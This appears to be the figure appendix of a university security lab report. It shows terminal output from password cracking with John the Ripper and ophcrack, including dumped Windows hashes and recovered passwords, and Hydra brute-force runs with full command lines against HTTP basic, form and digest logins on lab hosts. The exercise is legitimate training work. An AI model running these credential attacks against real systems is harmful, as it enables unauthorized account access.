(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ uname -a
lscpu | sed -n '1,25p'
Linux kali 6.12.38+kali-arm64 #1 SMP Kali 6.12.38-1kali1 (2025-08-12) aarch64 GNU/Linux
Architecture:          aarch64
CPU op-mode(s):        64-bit
Byte Order:             Little Endian
CPU(s):                 4
On-line CPU(s) list:   0-3
Vendor ID:              Apple
Model name:             -
Model:                  0
Thread(s) per core:    1
Core(s) per socket:    4
Socket(s):              1
Stepping:               0x0
BogoMIPS:               48.00
Flags:                  fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics fph
                        p asimdhp cpuid asimdtdm jscvt fcma lrcpc dcpop sha3 asimddp sha512 asimdfhm dit uscat ilrcpc f
                        lagm ssbs sb paca pacg dcpodp flagm2 frint
L1d cache:              512 KiB (4 instances)
L1i cache:              768 KiB (4 instances)
L2 cache:               48 MiB (4 instances)
NUMA node(s):           1
NUMA node0 CPU(s):     0-3
Vulnerability Gather data sampling: Not affected
Vulnerability Indirect target selection: Not affected
Vulnerability Itlb multihit: Not affected
Vulnerability L1tf: Not affected
Vulnerability Mds: Not affected
Vulnerability Meltdown: Not affected

```

Figure 16: 16 System Info Kali Linux Apple Silicon

```

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ john --format=sha512crypt --wordlist=/tmp/linux_strategic.txt 2025Fall-PVDlinux.txt
Using default input encoding: UTF-8
Loaded 8 password hashes with 8 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 ASIM
D 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2025-09-09 13:29) 0g/s 375.0p/s 3000c/s 3000C/s matrix123..ubuntu
Session completed.

```

Figure 17: 17 John Linux Sha512 Matrix123 Cracked


```

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ ip a | sed -n '1,80p'
cat evidence/vpn_ip.txt
cat evidence/ping_101.txt
cat evidence/ping_103.txt
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:e9:af:11 brd ff:ff:ff:ff:ff:ff
    inet 172.16.78.132/24 brd 172.16.78.255 scope global dynamic noprefixroute eth0
        valid_lft 1072sec preferred_lft 1072sec
    inet6 fe80::20c:29ff:fee9:af11/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none
    inet 192.168.101.26 peer 192.168.101.25/32 scope global tun0
        valid_lft forever preferred_lft forever
    inet6 fe80::7357:9950:eebf:60ed/64 scope link stable-privacy proto kernel_ll
        valid_lft forever preferred_lft forever
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:e9:af:11 brd ff:ff:ff:ff:ff:ff
    inet 172.16.78.132/24 brd 172.16.78.255 scope global dynamic noprefixroute eth0
        valid_lft 1748sec preferred_lft 1748sec
    inet6 fe80::20c:29ff:fee9:af11/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none
    inet 192.168.101.26 peer 192.168.101.25/32 scope global tun0
        valid_lft forever preferred_lft forever
    inet6 fe80::7357:9950:eebf:60ed/64 scope link stable-privacy proto kernel_ll
        valid_lft forever preferred_lft forever
PING 192.168.100.101 (192.168.100.101) 56(84) bytes of data.
64 bytes from 192.168.100.101: icmp_seq=1 ttl=64 time=169 ms
64 bytes from 192.168.100.101: icmp_seq=2 ttl=64 time=169 ms
64 bytes from 192.168.100.101: icmp_seq=3 ttl=64 time=170 ms

— 192.168.100.101 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 168.570/169.144/169.760/0.486 ms
PING 192.168.100.103 (192.168.100.103) 56(84) bytes of data.
64 bytes from 192.168.100.103: icmp_seq=1 ttl=63 time=213 ms
64 bytes from 192.168.100.103: icmp_seq=2 ttl=63 time=213 ms
64 bytes from 192.168.100.103: icmp_seq=3 ttl=63 time=214 ms

— 192.168.100.103 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 213.006/213.220/213.533/0.226 ms

```

Figure 18: 18 Network Connectivity Ping Tests

```

(reinesaj@kali)-[/mnt/hgfs/cs660-p3-shared]
$ cat evidence/ophcrack_results.txt
Administrator:500:789D4C7C9512D54C6E54DA88DD150D11:55A1493DF652D423AE05634C0D1C94D9:MSKITTY:666
:mskitty666
ASPNET:1007:C647A2B8CFA79D12B79DF1ED7C4BA262:B4D268778A3CB65AF373E8A2E1443050::D5912K8:
Morpheus:1010:DB170C426EAE78BEFF17365FAF1FFE89:482563F0ADAAC6CA60C960C0199559D2:A1B2C3D:4:a1b2c
3d4
Neo:1011:37035B1C4AE2B0C525AD3B83FA6627C7:AAD08989FC198D6F3779878E01B40301:QWERTY1:0:qwerty10
Trinity:1012:5D567324BA3CCEF81D71060D896B7A46:CC528F4594C27552ED9CCD37D2D5EE56:LETMEIN:2:letmei
n2
Cypher:1014:B34CE522C3E4C8774A3B108F3FA6CB6D:B9F917853E3DBF6E6831ECCE60725930:PASSW0R:D:passw0r
d
Smith:1015:45BF38FBD873819AAD3B435B51404EE:2858AA4F80B55030163B5E98E2F02A74:QAZWSX::qaZwsX
Cobb:1016:6089B6316B3577C4944E2DF489A880E4:68365827D79C4F5CC9B52B688495FD51:1Q2W3E4:R:1q2w3e4r
Arthur:1017:C819160E87A9C8EFC2265B23734E0DAC:F773C5DB7DDEBEFA4B0DAE7EE8C50AEA:TRUSTNO:1:trustno
1
Guest:501::31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_JAMES-BFCF5F2D5:1003:A34C6084CD00D144804161F8F14BF675:74680584039C174E466BF3B85321F6FB:::
IWAM_JAMES-BFCF5F2D5:1004:0ADD5D9C6170C0D29DEBEBB3096E48C8:0C20B9D1814D4464D959AC5B39EFB005:::
SUPPORT_388945a0:1001::13696F852853CD8172F4991066D3BC0E:::
System32:1009:7EF138EB44BBE93B104C5A08BE4E329A:3CE67103F2F6F2049E843494E7E4208E::ABB1T:
SYS_32:1008:7EF138EB44BBE93B104C5A08BE4E329A:3CE67103F2F6F2049E843494E7E4208E::ABB1T:

```

Figure 19: 19 Ophcrack Rainbow Table Results Complete

```

[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "sortunut" - 4861 of 35010 [child 1] (
0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "sortuvat" - 4862 of 35010 [child 2] (
0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "sorvaaja" - 4863 of 35010 [child 3] (
0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "sorvalin" - 4864 of 35010 [child 0] (
0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "soseensa" - 4865 of 35010 [child 1] (
0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "sosiaali" - 4866 of 35010 [child 2] (
0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "sosnicka" - 4867 of 35010 [child 3] (
0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "sospiroe" - 4868 of 35010 [child 0] (
0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "sotaansa" - 4869 of 35010 [child 1] (
0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "sotainen" - 4870 of 35010 [child 2] (
0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "sotaisaa" - 4871 of 35010 [child 3] (
0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "sotaisia" - 4872 of 35010 [child 0] (
0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "sotakaan" - 4873 of 35010 [child 1] (
0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "sotalait" - 4874 of 35010 [child 2] (
0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "sotamaan" - 4875 of 35010 [child 3] (
0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "sotamies" - 4876 of 35010 [child 0] (
0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "sotaonni" - 4877 of 35010 [child 1] (
0/0)
[80][http-get] host: 192.168.100.103 login: wangxx password: sotalait
[STATUS] attack finished for 192.168.100.103 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-13 14:05:38

(c@kali)~$ hydra -l wangxx -p sotalait 192.168.100.103 http-get /basicauth
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secre
t service organizations, or for illegal purposes (this is non-binding, these ** ignore laws an
d ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-13 14:25:30
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a
previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking http-get://192.168.100.103:80/basicauth
[80][http-get] host: 192.168.100.103 login: wangxx password: sotalait
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-13 14:25:41

```

Figure 20: 20 Hydra Http Basic Auth Sotalait Password Found

```

(claude@kali)-[/mnt/hgsf/cs660-p3-shared/evidence/distributed]
$ hydra -l wangxx -p tripsine -V 192.168.100.101 http-post-form "/dologin.html:httpd_username=^USER^&httpd_password=^PASS^:login.html"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-13 15:24:36
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking http-post-form://192.168.100.101:80/dologin.html:httpd_username=^USER^&httpd_password=^PASS^:login.html
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "tripsine" - 1 of 1 [child 0] (0/0)
[80][http-post-form] host: 192.168.100.101 login: wangxx password: tripsine
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-13 15:24:48

(claude@kali)-[/mnt/hgsf/cs660-p3-shared/evidence/distributed]
$ cat html.16part.ae.log | tail -n 10
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "tripsien" - 6937 of 35010 [child 1] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "tripsine" - 6938 of 35010 [child 2] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "triptaan" - 6939 of 35010 [child 3] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "triptiek" - 6940 of 35010 [child 0] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "triptrap" - 6941 of 35010 [child 1] (0/0)
[ATTEMPT] target 192.168.100.101 - login "wangxx" - pass "triviaal" - 6942 of 35010 [child 3] (0/0)
[80][http-post-form] host: 192.168.100.101 login: wangxx password: tripsine
[STATUS] attack finished for 192.168.100.101 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-13 14:49:47

```

Figure 21: 21 Hydra Html Form Tripsine Password Found

```

(claude@kali)-[/mnt/hgsf/cs660-p3-shared/evidence/distributed]
$ cat digest.original.18.log | tail -n 10
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "hagers" - 7254 of 8859 [child 0] (0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "hagler" - 7255 of 8859 [child 0] (0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "hagles" - 7256 of 8859 [child 0] (0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "hajens" - 7257 of 8859 [child 0] (0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "hajers" - 7258 of 8859 [child 0] (0/0)
[ATTEMPT] target 192.168.100.103 - login "wangxx" - pass "hakkis" - 7259 of 8859 [child 0] (0/0)
[80][http-get] host: 192.168.100.103 login: wangxx password: hakkis
[STATUS] attack finished for 192.168.100.103 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-14 09:31:23

```

Figure 22: 22 Hydra Digest Auth Hakkis Password Found